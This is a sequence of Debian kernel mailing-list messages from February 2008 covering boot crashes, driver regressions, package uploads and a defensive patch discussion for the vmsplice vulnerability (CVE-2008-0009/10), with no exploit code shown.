maximilian attems wrote: thanks for quick feedback, have prebuild 2.6.25-rc1-git2 (they contain the security fix, but don't seem to suspend here) anyway please test for boot - http://charm.itp.tuwien.ac.at/~mattems/2.6.25-rc1-git2/ Still fails the same. if those again don't boot please file info upstream on bugzilla.kernel.org so that relevant new x86 arch maintainer fix that up. Um, could the kernel team forward this bug? * I don't have an account on this bugzilla, or actually, on any bugzilla on earth. * I don't know exactly what versions you've had me test. * I guess they'll want to know things about compile options that I don't know. -- see shy jo signature.asc Description: Digital signature
linux-2.6_2.6.22-6.lenny1_i386.changes ACCEPTED
Mapping testing-security to testing-proposed-updates. Warning: ignoring linux-2.6_2.6.22.orig.tar.gz, since it's already in the archive. Accepted: linux-2.6_2.6.22-6.lenny1.diff.gz to pool/main/l/linux-2.6/linux-2.6_2.6.22-6.lenny1.diff.gz linux-2.6_2.6.22-6.lenny1.dsc to pool/main/l/linux-2.6/linux-2.6_2.6.22-6.lenny1.dsc linux-doc-2.6.22_2.6.22-6.lenny1_all.deb to pool/main/l/linux-2.6/linux-doc-2.6.22_2.6.22-6.lenny1_all.deb linux-headers-2.6.22-3-486_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-headers-2.6.22-3-486_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-686-bigmem_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-headers-2.6.22-3-686-bigmem_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-686_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-headers-2.6.22-3-686_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-all-i386_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-headers-2.6.22-3-all-i386_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-all_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-headers-2.6.22-3-all_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-amd64_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-headers-2.6.22-3-amd64_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-k7_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-headers-2.6.22-3-k7_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-vserver-686_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-headers-2.6.22-3-vserver-686_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-vserver-k7_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-headers-2.6.22-3-vserver-k7_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-vserver_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-headers-2.6.22-3-vserver_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-headers-2.6.22-3_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-486_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-image-2.6.22-3-486_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-686-bigmem_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-image-2.6.22-3-686-bigmem_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-686_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-image-2.6.22-3-686_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-amd64_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-image-2.6.22-3-amd64_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-k7_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-image-2.6.22-3-k7_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-vserver-686_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-image-2.6.22-3-vserver-686_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-vserver-k7_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-image-2.6.22-3-vserver-k7_2.6.22-6.lenny1_i386.deb linux-libc-dev_2.6.22-6.lenny1_i386.deb to pool/main/l/linux-2.6/linux-libc-dev_2.6.22-6.lenny1_i386.deb linux-manual-2.6.22_2.6.22-6.lenny1_all.deb to pool/main/l/linux-2.6/linux-manual-2.6.22_2.6.22-6.lenny1_all.deb linux-patch-debian-2.6.22_2.6.22-6.lenny1_all.deb to pool/main/l/linux-2.6/linux-patch-debian-2.6.22_2.6.22-6.lenny1_all.deb linux-source-2.6.22_2.6.22-6.lenny1_all.deb to pool/main/l/linux-2.6/linux-source-2.6.22_2.6.22-6.lenny1_all.deb linux-support-2.6.22-3_2.6.22-6.lenny1_all.deb to pool/main/l/linux-2.6/linux-support-2.6.22-3_2.6.22-6.lenny1_all.deb linux-tree-2.6.22_2.6.22-6.lenny1_all.deb to pool/main/l/linux-2.6/linux-tree-2.6.22_2.6.22-6.lenny1_all.deb Override entries for your package: linux-2.6_2.6.22-6.lenny1.dsc - source devel linux-doc-2.6.22_2.6.22-6.lenny1_all.deb - optional doc linux-headers-2.6.22-3-486_2.6.22-6.lenny1_i386.deb - optional devel linux-headers-2.6.22-3-686-bigmem_2.6.22-6.lenny1_i386.deb - optional devel linux-headers-2.6.22-3-686_2.6.22-6.lenny1_i386.deb - optional devel linux-headers-2.6.22-3-all-i386_2.6.22-6.lenny1_i386.deb - optional devel linux-headers-2.6.22-3-all_2.6.22-6.lenny1_i386.deb - optional devel linux-headers-2.6.22-3-amd64_2.6.22-6.lenny1_i386.deb - optional devel linux-headers-2.6.22-3-k7_2.6.22-6.lenny1_i386.deb - optional devel linux-headers-2.6.22-3-vserver-686_2.6.22-6.lenny1_i386.deb - optional devel linux-headers-2.6.22-3-vserver-k7_2.6.22-6.lenny1_i386.deb - optional devel linux-headers-2.6.22-3-vserver_2.6.22-6.lenny1_i386.deb - optional devel linux-headers-2.6.22-3_2.6.22-6.lenny1_i386.deb - optional devel linux-image-2.6.22-3-486_2.6.22-6.lenny1_i386.deb - optional admin linux-image-2.6.22-3-686-bigmem_2.6.22-6.lenny1_i386.deb - optional admin linux-image-2.6.22-3-686_2.6.22-6.lenny1_i386.deb - optional admin linux-image-2.6.22-3-amd64_2.6.22-6.lenny1_i386.deb - optional admin linux-image-2.6.22-3-k7_2.6.22-6.lenny1_i386.deb - optional admin linux-image-2.6.22-3-vserver-686_2.6.22-6.lenny1_i386.deb - optional admin linux-image-2.6.22-3-vserver-k7_2.6.22-6.lenny1_i386.deb - optional admin
Bug#464945: linux-image-2.6.18-6-686: Exploit for vmsplice work for linux-image-2.18-5-686 (CVE-2008-0009/10)
On Tue, Feb 12, 2008 at 07:01:58PM +0100, Florian Weimer wrote: For the record, the above hunk is unnecessary because the get_user() calls which immediately follow the quoted code perform implict access_ok() checks. CVE-2008-0010 does NOT apply to our 2.6.18 kernel (but the additional access_ok() call doesn't cause any harm, either). Looks like I missread a comment. I rechecked it and it does the check. Bastian -- No problem is insoluble. -- Dr. Janet Wallace, The Deadly Years, stardate 3479.4 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464945: linux-image-2.6.18-6-686: Exploit for vmsplice work for linux-image-2.18-5-686 (CVE-2008-0009/10)
* Bastian Blank:
diff --git a/fs/splice.c b/fs/splice.c
index 684bca3..2d7e598 100644
--- a/fs/splice.c
+++ b/fs/splice.c
@@ -1122,6 +1122,11 @@ static int get_iovec_page_array(const struct iovec
__user *iov,
size_t len;
int i;
+ if (!access_ok(VERIFY_READ, iov, sizeof(struct iovec))) {
+ error = -EFAULT;
+ break;
+ }
+
/*
* Get user address base and length for this iovec.
*/
For the record, the above hunk is unnecessary because the get_user()
calls which immediately follow the quoted code perform implict
access_ok() checks. CVE-2008-0010 does NOT apply to our 2.6.18 kernel
(but the additional access_ok() call doesn't cause any harm, either).
I'm writing this because some vendors have released pre-2.6.23 patches
without this hunk, and I don't want to create impression they are still
vulnerable.
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
Thought some more about this, and since this probably means gcc will generate this for userspace code as well nowadays, tm5800 should probably be downgraded to a 586-class machine. Hence the Linux policy of promoting it to a 686-class machine for having CMOV is actually incorrect, it doesn't have all the userspace-visible features of a 686-class machine, lacking long NOP. -hpa diff --git a/arch/x86/kernel/cpu/transmeta.c b/arch/x86/kernel/cpu/transmeta.c index 200fb3f..e8b422c 100644 --- a/arch/x86/kernel/cpu/transmeta.c +++ b/arch/x86/kernel/cpu/transmeta.c @@ -76,13 +76,6 @@ static void __cpuinit init_transmeta(struct cpuinfo_x86 *c) /* All Transmeta CPUs have a constant TSC */ set_bit(X86_FEATURE_CONSTANT_TSC, c-x86_capability); - /* If we can run i686 user-space code, call us an i686 */ -#define USER686 ((1 X86_FEATURE_TSC)|\ -(1 X86_FEATURE_CX8)|\ -(1 X86_FEATURE_CMOV)) -if (c-x86 == 5 (c-x86_capability[0] USER686) == USER686) - c-x86 = 6; - #ifdef CONFIG_SYSCTL /* randomize_va_space slows us down enormously; it probably triggers retranslation of x86-native bytecode */
Bug#465506: marked as done (Warnings compiling linux-source-2.6.24)
Your message dated Tue, 12 Feb 2008 22:06:37 +0100 with message-id [EMAIL PROTECTED] and subject line Re: Bug#465506: Warnings compiling linux-source-2.6.24 has caused the Debian Bug report #465506, regarding Warnings compiling linux-source-2.6.24 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 465506: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=465506 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-source-2.6.24 Version: 2.6.24-4 When I compile the kernel and modules from linux-source-2.6.24-4 I receive the following warning: arch/x86/kernel/setup64.c: In function ‘setup_per_cpu_areas’: arch/x86/kernel/setup64.c:103: warning: the address of ‘contig_page_data’ will always evaluate as ‘true’ $ cd /usr/src/linux-source-2.6.24 $ make-kpkg --revision=2.6.24.custom binary modules_image arch/x86/kernel/setup64.c: In function ‘setup_per_cpu_areas’: arch/x86/kernel/setup64.c:103: warning: the address of ‘contig_page_data’ will always evaluate as ‘true’ I don't think this is very severe, it might just be that it has to be 'config_page_data' instead of 'contig_page_data'. I am using Debian GNU/Linux lenny/sid, kernel 2.6.24-1-amd64 and glibc 2.7-6 (libc6_2.7-6_amd64) Cheers! ---End Message--- ---BeginMessage--- On Tue, Feb 12, 2008 at 10:37:08PM +0100, Max Zimmermann wrote: Package: linux-source-2.6.24 Version: 2.6.24-4 When I compile the kernel and modules from linux-source-2.6.24-4 I receive the following warning: arch/x86/kernel/setup64.c: In function ???setup_per_cpu_areas???: arch/x86/kernel/setup64.c:103: warning: the address of ???contig_page_data??? will always evaluate as ???true??? $ cd /usr/src/linux-source-2.6.24 $ make-kpkg --revision=2.6.24.custom binary modules_image arch/x86/kernel/setup64.c: In function ???setup_per_cpu_areas???: arch/x86/kernel/setup64.c:103: warning: the address of ???contig_page_data??? will always evaluate as ???true??? I don't think this is very severe, it might just be that it has to be 'config_page_data' instead of 'contig_page_data'. I am using Debian GNU/Linux lenny/sid, kernel 2.6.24-1-amd64 and glibc 2.7-6 (libc6_2.7-6_amd64) gcc version would have been more important. anyway that bug report does not belong in the debian bug tracking system. the linux-2.6 has always had warnings, most of them get fixed over time. please work with upstream if you care. closing as invalid request. thanks ---End Message---
Bug#464962: immediate crash on boot on TM5800
maximilian attems wrote: sure, ack. so i'll circumvent bugzilla and add the new x86 maintainers on cc to let them know about the 2.6.24 and 2.6.25-rc1 boot error on shiny fujitsu p700 lifebook, with a Crusoe processor. http://bugs.debian.org/464962 686 config attached. INT 6 is #UD, undefined instruction. If you could send me a copy of your vmlinux file (not bzImage), it would speed things up. I happen to have an old TM5800-based machine sitting around, so I can probably reproduce it. -hpa -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464523: linux-image-2.6.24-1-amd64: b43 needs patches for kernel 2.6.24
On Tue, Feb 12, 2008 at 08:37:59PM +0100, Andreas Richter wrote: Am Montag, 11. Februar 2008 23:06:21 schrieb maximilian attems: b43 doesn't work here with 2.6.24.1 either :( ok so please install kerneloops, let it report upstream, quick edit in /etc/kerneloops.conf and reboot into faulty kernel. so upstream will be notified on your oops. When i boot my own kernel (2.6.24) with patches the modprobe ssb (on startup or on console) loads the b43 module also. When i try an modprobe ssb i became the following output: ACPI: PCI Interrupt :30:00.0[A] - GSI 18 (level, low) - IRQ 18 PCI: Setting latency timer of device :30:00.0 to 64 ssb: SPROM revision 3 detected. ssb: Sonics Silicon Backplane found on PCI device :30:00.0 b43-phy2: Broadcom 4311 WLAN found phy2: Selected rate control algorithm 'simple' input: b43-phy2 as /class/input/input14 Registered led device: b43-phy2:tx Registered led device: b43-phy2:rx Registered led device: b43-phy2:radio After that the wlan works ok. But on the 2.6.24.1 kernel i became the following output on modprobe ssb: ACPI: PCI Interrupt :30:00.0[A] - GSI 18 (level, low) - IRQ 18 PCI: Setting latency timer of device :30:00.0 to 64 WARNING: at drivers/ssb/main.c:883 ssb_tmslow_reject_bitmask() Pid: 3847, comm: modprobe Tainted: P2.6.24-1-amd64 #1 Call Trace: [880527cd] :ssb:ssb_tmslow_reject_bitmask+0x4a/0x53 [8805303d] :ssb:ssb_device_is_enabled+0xf/0x3b [880551ba] :ssb:ssb_pcicore_init+0x19/0x4a [88052544] :ssb:ssb_attach_queued_buses+0x9a/0x294 [88053ce0] :ssb:ssb_pci_get_invariants+0x0/0x2b7 [88052b53] :ssb:ssb_bus_register+0x13d/0x1ac [88052c72] :ssb:ssb_bus_pcibus_register+0x2a/0x4b [880545a1] :ssb:ssb_pcihost_probe+0x6f/0x9e [8031d400] pci_device_probe+0xd1/0x138 [80379dda] driver_probe_device+0xf7/0x174 [80379ef9] __driver_attach+0x0/0x92 [80379f53] __driver_attach+0x5a/0x92 [803791c6] bus_for_each_dev+0x43/0x6e [80379546] bus_add_driver+0x77/0x1be [8031d5d9] __pci_register_driver+0x58/0x8a [88031045] :ssb:ssb_modinit+0x45/0x5d [80256ae8] sys_init_module+0x16e3/0x1821 [8020be2e] system_call+0x7e/0x83 ssb: Sonics Silicon Backplane found on PCI device :30:00.0 That looks different. It seems that ssb doesn't detect the Broadcom device. i don't like the tainted flag, why does that come? thanks No worries. Hope my input helps to fix the problem. adding b43 MAINTAINERS on cc to let them know. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
initramfs-tools_0.91e_amd64.changes ACCEPTED
Accepted: initramfs-tools_0.91e.dsc to pool/main/i/initramfs-tools/initramfs-tools_0.91e.dsc initramfs-tools_0.91e.tar.gz to pool/main/i/initramfs-tools/initramfs-tools_0.91e.tar.gz initramfs-tools_0.91e_all.deb to pool/main/i/initramfs-tools/initramfs-tools_0.91e_all.deb Override entries for your package: initramfs-tools_0.91e.dsc - source utils initramfs-tools_0.91e_all.deb - optional utils Announcing to [EMAIL PROTECTED] Closing bugs: 458772 Thank you for your contribution to Debian. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processing of initramfs-tools_0.91e_amd64.changes
initramfs-tools_0.91e_amd64.changes uploaded successfully to localhost along with the files: initramfs-tools_0.91e.dsc initramfs-tools_0.91e.tar.gz initramfs-tools_0.91e_all.deb Greetings, Your Debian queue daemon -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: This looks familiar
See also Debian bug #463606. -- graham -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465278: linux-image-2.6.24-1-powerpc: appletouch failure upon resume after suspend2ram
On 12/02/2008, maximilian attems wrote: can you please test 2.6.24-4 it had some usb stable fixes, along important security. I knew about the security fixes, but the appletouch/usb bug is still here, reproducible upon the first suspend/resume test, with the very same error message. Cheers, -- Cyril Brulebois PS: Sending again, the bounce didn't reach the BTS either, sorry for possible duplicates. pgpaNffi7Ukbt.pgp Description: PGP signature
Bug#465225: closed by maximilian attems [EMAIL PROTECTED] (Re: Bug#465225: No bluetooth or wan control in /proc/acpi/ibm in kernel 2.6.24-1-686)
Although the suggested solution with bluetooth appears to work without further issues, there are still issues with regards to controlling the WWAN card. It is still fully functional, but it is not possible to turn it off the way it was done previously; as neither the suggested /sys/devices/platform/thinkpad_acpi/wwan_enable, the legacy /proc/acpi/ibm/wan or anything resembling it appear to exist. For further reference, there does appear to be a workaround to disable the radio in the modem: echo at+cfun=0 /dev/ttyUSB0 (replace with first USB TTY of your modem) turns off the radio. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464523: linux-image-2.6.24-1-amd64: b43 needs patches for kernel 2.6.24
Am Montag, 11. Februar 2008 23:06:21 schrieb maximilian attems: 2.6.24.1 got pushed out with b43 stable queue patches, can we have a feedback on it? b43 doesn't work here with 2.6.24.1 either :( When i boot my own kernel (2.6.24) with patches the modprobe ssb (on startup or on console) loads the b43 module also. When i try an modprobe ssb i became the following output: ACPI: PCI Interrupt :30:00.0[A] - GSI 18 (level, low) - IRQ 18 PCI: Setting latency timer of device :30:00.0 to 64 ssb: SPROM revision 3 detected. ssb: Sonics Silicon Backplane found on PCI device :30:00.0 b43-phy2: Broadcom 4311 WLAN found phy2: Selected rate control algorithm 'simple' input: b43-phy2 as /class/input/input14 Registered led device: b43-phy2:tx Registered led device: b43-phy2:rx Registered led device: b43-phy2:radio After that the wlan works ok. But on the 2.6.24.1 kernel i became the following output on modprobe ssb: ACPI: PCI Interrupt :30:00.0[A] - GSI 18 (level, low) - IRQ 18 PCI: Setting latency timer of device :30:00.0 to 64 WARNING: at drivers/ssb/main.c:883 ssb_tmslow_reject_bitmask() Pid: 3847, comm: modprobe Tainted: P2.6.24-1-amd64 #1 Call Trace: [880527cd] :ssb:ssb_tmslow_reject_bitmask+0x4a/0x53 [8805303d] :ssb:ssb_device_is_enabled+0xf/0x3b [880551ba] :ssb:ssb_pcicore_init+0x19/0x4a [88052544] :ssb:ssb_attach_queued_buses+0x9a/0x294 [88053ce0] :ssb:ssb_pci_get_invariants+0x0/0x2b7 [88052b53] :ssb:ssb_bus_register+0x13d/0x1ac [88052c72] :ssb:ssb_bus_pcibus_register+0x2a/0x4b [880545a1] :ssb:ssb_pcihost_probe+0x6f/0x9e [8031d400] pci_device_probe+0xd1/0x138 [80379dda] driver_probe_device+0xf7/0x174 [80379ef9] __driver_attach+0x0/0x92 [80379f53] __driver_attach+0x5a/0x92 [803791c6] bus_for_each_dev+0x43/0x6e [80379546] bus_add_driver+0x77/0x1be [8031d5d9] __pci_register_driver+0x58/0x8a [88031045] :ssb:ssb_modinit+0x45/0x5d [80256ae8] sys_init_module+0x16e3/0x1821 [8020be2e] system_call+0x7e/0x83 ssb: Sonics Silicon Backplane found on PCI device :30:00.0 That looks different. It seems that ssb doesn't detect the Broadcom device. thanks No worries. Hope my input helps to fix the problem. -- Andreas Richter URLs: http://ar.oszine.de | http://www.oszine.de GPG-KeyID: 0x7BA12DD9 Fingerprint: D2E9 202B F4F0 EB16 25DE 5FF7 0CF2 3C57 7BA1 2DD9 signature.asc Description: This is a digitally signed message part.
Bug#463606: 2.6.25-rc1-git2 fails similarly
I stumbled upon bug 464962 a short while ago, and decided to try the 2.6.25-rc1-git2 image suggested there: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464962#25 I've only tried the -686 flavour. It fails similarly to 2.6.24-686. I will attach a screen capture; sorry, no time to transcribe it right now. -- graham attachment: bug-2.6.25-rc1-git2.png
Bug#436267: Firewire support in lenny
On Tue, Feb 12, 2008 at 02:38:13PM +0100, maximilian attems wrote: My IIDC cameras do not work correctly with a juju-enabled libdc1394 2.0.1. Furthermore, apart from coriander there are no applications that have migrated from libdc1394 v1 to v2. even with 2.6.24-4 linux images? please mention the uname of your tests I'll see if I can do the tests on a clean install with the latest linux images tomorrow. if you are on amd64 2.6.25-rc1-git2 - http://photon.itp.tuwien.ac.at/~mattems/ will build i686 during day (takes much longer) please if 2.6.24 has troubles feedback on that one. I'll try both in any case. [...] you can't have both without blacklisting one otherwise udev loads randomly from boot to boot other firewire stack. changing blacklist files in /etc/modprobe.d is trivial. I agree. I'm just asking that the old stack will be blacklisted, but still available in the linux images. -- Met vriendelijke groet / with kind regards, Guus Sliepen [EMAIL PROTECTED] signature.asc Description: Digital signature
Bug#464962: immediate crash on boot on TM5800
On Sun, 10 Feb 2008, Joey Hess wrote: maximilian attems wrote: i haven't yet compiled latest git21 (will do later today), in the menatime i have i386 snapshots of git15, can you try there the -686 http://charm.itp.tuwien.ac.at/~mattems/git15/ if upstream fixed this bug inbetween? Nope, still fails. thanks for quick feedback, have prebuild 2.6.25-rc1-git2 (they contain the security fix, but don't seem to suspend here) anyway please test for boot - http://charm.itp.tuwien.ac.at/~mattems/2.6.25-rc1-git2/ if those again don't boot please file info upstream on bugzilla.kernel.org so that relevant new x86 arch maintainer fix that up. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464953: The exploit corrupted the system partition
Just FYI The exploit corrupted the system partition (reiserFS), a user in my server tested the exploit and all the root got corrupted and impossible to recover. It was a fully updated Debian Testing using the debian default kernel in a fully stable pentium4 otherwise. Next time i'll use the grsec patches and lock the fuck up of my users ¬¬
Processed: Re: Bug#465510: linux-image-2.6.24.2: r8169 doesn't work with 2.6.24.2
Processing commands for [EMAIL PROTECTED]: reassign 465510 linux-2.6 Bug#465510: linux-image-2.6.24.2: r8169 doesn't work with 2.6.24.2 Warning: Unknown package 'linux-image-2.6.24.2' Bug reassigned from package `linux-image-2.6.24.2' to `linux-2.6'. -- Stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465512: linux-image-2.6.18-6-amd64: broken symlink /lib/modules/2.6.18-6-amd64/source
On Tue, Feb 12, 2008 at 11:43:46PM +0100, maximilian attems wrote: thanks for reminder, nuked that useless warning for 2.6.25-1 very harmless. It is a left over from make-kpkg usage. Bastian -- All your people must learn before you can reach for the stars. -- Kirk, The Gamesters of Triskelion, stardate 3259.2 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465461: linux-image-2.6.24-1-686: modprobe sbs fails with Unknown parameter `update_time'
Package: linux-image-2.6.24-1-686 Version: 2.6.24-4 Severity: normal Hello, since upgrading from 2.6.23-2 to 2.6.24-3 and 2.6.24-4, module sbs (smart battery system) doesn't load with message sbs: Unknown parameter `update_time' My notebook (acer travelmate 4501WLMi) provides battery status only with this module, so without it, it doesn't react on low battery status (it died yesterday with flat battery) CU Libor -- Package-specific info: ** Kernel log: Yenta: Using CSCINT to route CSC interrupts to PCI Yenta: Routing CardBus interrupts to PCI Yenta TI: socket :02:06.0, mfunc 0x01a21b22, devctl 0x64 Yenta: ISA IRQ mask 0x08b8, PCI irq 10 Socket status: 3006 Yenta: Raising subordinate bus# of parent bus (#02) from #02 to #06 pcmcia: parent PCI bridge I/O window: 0x4000 - 0x4fff cs: IO port probe 0x4000-0x4fff: clean. pcmcia: parent PCI bridge Memory window: 0xd020 - 0xd05f fuse init (API version 7.9) Ebtables v2.0 registered Bridge firewalling registered Synaptics Touchpad, model: 1, fw: 5.9, id: 0x126eb1, caps: 0xa04713/0x4000 input: SynPS/2 Synaptics TouchPad as /class/input/input1 RPC: Registered udp transport module. RPC: Registered tcp transport module. NET: Registered protocol family 10 lo: Disabled Privacy Extensions usbcore: registered new interface driver usblp input: Power Button (FF) as /class/input/input2 ACPI: Power Button (FF) [PWRF] input: Lid Switch as /class/input/input3 ACPI: Lid Switch [LID] input: Sleep Button (CM) as /class/input/input4 ACPI: Sleep Button (CM) [SLPB] sbs: Unknown parameter `update_time' parport_pc 00:08: reported by Plug and Play ACPI parport0: PC-style at 0x378 (0x778), irq 7, dma 3 [PCSPP,TRISTATE,COMPAT,EPP,ECP,DMA] lp0: using parport0 (interrupt-driven). ppdev: user-space parallel port driver irda_init() NET: Registered protocol family 23 nsc_ircc_pnp_probe() : From PnP, found firbase 0x2F8 ; irq 3 ; dma 1. nsc-ircc, chip-init nsc-ircc, Found chip at base=0x164e nsc-ircc, driver loaded (Dag Brattli) IrDA: Registered device irda0 nsc-ircc, Using dongle: IBM31T1100 or Temic TFDS6000/TFDS6500 irlap_change_speed(), setting speed to 9600 Installing knfsd (copyright (C) 1996 [EMAIL PROTECTED]). NFSD: Using /var/lib/nfs/v4recovery as the NFSv4 state recovery directory NFSD: starting 90-second grace period Bluetooth: Core ver 2.11 NET: Registered protocol family 31 Bluetooth: HCI device and connection manager initialized Bluetooth: HCI socket layer initialized Bluetooth: L2CAP ver 2.9 Bluetooth: L2CAP socket layer initialized Bluetooth: RFCOMM socket layer initialized Bluetooth: RFCOMM TTY layer initialized Bluetooth: RFCOMM ver 1.8 ADDRCONF(NETDEV_UP): eth0: link is not ready Netfilter messages via NETLINK v0.30. ip_tables: (C) 2000-2006 Netfilter Core Team Linux agpgart interface v0.102 [drm] Initialized drm 1.1.0 20060810 [drm] Initialized radeon 1.28.0 20060524 on minor 0 cs: IO port probe 0x100-0x3af: clean. cs: IO port probe 0x3e0-0x4ff: clean. cs: IO port probe 0x820-0x8ff: clean. cs: IO port probe 0xc00-0xcf7: clean. cs: IO port probe 0xa00-0xaff: clean. agpgart: Detected an Intel 855GM Chipset. agpgart: AGP aperture is 256M @ 0xe000 pci_hotplug: PCI Hot Plug PCI Core version: 0.5 shpchp: Standard Hot Plug PCI Controller Driver version: 0.4 input: Video Bus as /class/input/input5 ACPI: Video Device [VGA] (multi-head: yes rom: no post: no) sbs: Unknown parameter `update_time' iTCO_wdt: Intel TCO WatchDog Timer Driver v1.02 (26-Jul-2007) iTCO_wdt: Found a ICH4-M TCO device (Version=1, TCOBASE=0x1060) iTCO_wdt: initialized. heartbeat=30 sec (nowayout=0) intel_rng: FWH not detected ACPI: PCI Interrupt :00:1f.3[B] - Link [LNKB] - GSI 10 (level, low) - IRQ 10 Real Time Clock Driver v1.12ac ieee80211_crypt: registered algorithm 'NULL' ieee80211: 802.11 data/management/control stack, git-1.1.13 ieee80211: Copyright (C) 2004-2005 Intel Corporation [EMAIL PROTECTED] ACPI: PCI Interrupt :02:06.3[A] - Link [LNKE] - GSI 10 (level, low) - IRQ 10 ipw2200: Intel(R) PRO/Wireless 2200/2915 Network Driver, 1.2.2kmprq ipw2200: Copyright(c) 2003-2006 Intel Corporation ACPI: PCI Interrupt :02:04.0[A] - Link [LNKB] - GSI 10 (level, low) - IRQ 10 ipw2200: Detected Intel PRO/Wireless 2200BG Network Connection ipw2200: Detected geography ZZM (11 802.11bg channels, 0 802.11a channels) udev: renamed network interface eth1 to eth2 ACPI: PCI Interrupt :00:1f.6[B] - Link [LNKB] - GSI 10 (level, low) - IRQ 10 PCI: Setting latency timer of device :00:1f.6 to 64 MC'97 0 converters and GPIO not ready (0x1) ACPI: PCI Interrupt :00:1f.5[B] - Link [LNKB] - GSI 10 (level, low) - IRQ 10 PCI: Setting latency timer of device :00:1f.5 to 64 intel8x0_measure_ac97_clock: measured 55896 usecs intel8x0: clocking to 48000 mtrr: no MTRR for d800,400 found ADDRCONF(NETDEV_CHANGE): eth2: link becomes ready ieee80211_crypt: registered algorithm 'TKIP' eth2: no IPv6 routers present tun: Universal TUN/TAP device driver, 1.6 tun: (C) 1999-2004 Max
Bug#375277: double console messages about card reader
On Tue, 12 Feb 2008, [EMAIL PROTECTED] wrote: OK but Preparing to replace linux-image-2.6.24-1-686 2.6.24-2 (using .../linux-image-2.6.24-1-686_2.6.24-4_i386.deb) ... The directory /lib/modules/2.6.24-1-686 still exists. Continuing as directed. Done. Unpacking replacement linux-image-2.6.24-1-686 ... Setting up linux-image-2.6.24-1-686 (2.6.24-4) ... Running depmod. Finding valid ramdisk creators. Using mkinitrd.yaird to build the ramdisk. yaird error: unrecognised device: /sys/devices/LNXSYSTM:00 yaird error: unrecognised device: /sys/devices/LNXSYSTM:00/device:00 yaird error: unrecognised device: /sys/devices/LNXSYSTM:00/device:00/PNP0A03:00 yaird error: unrecognised device: /sys/devices/LNXSYSTM:00/device:00/PNP0A03:00/LNXVIDEO:00 yaird error: there were errors in this run, aborting now without output (fatal) mkinitrd.yaird failed to create initrd image. Failed to create initrd image. dpkg: error processing linux-image-2.6.24-1-686 (--configure): subprocess post-installation script returned error exit status 9 Errors were encountered while processing: linux-image-2.6.24-1-686 E: Sub-process /usr/bin/dpkg returned an error code (1) yep yaird didn't learn yet to transform those errors in warnings, real pain, runs fine with initramfs-tools. thanks for the report on yaird. -- maks -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processing of linux-2.6_2.6.24-4_m68k.changes
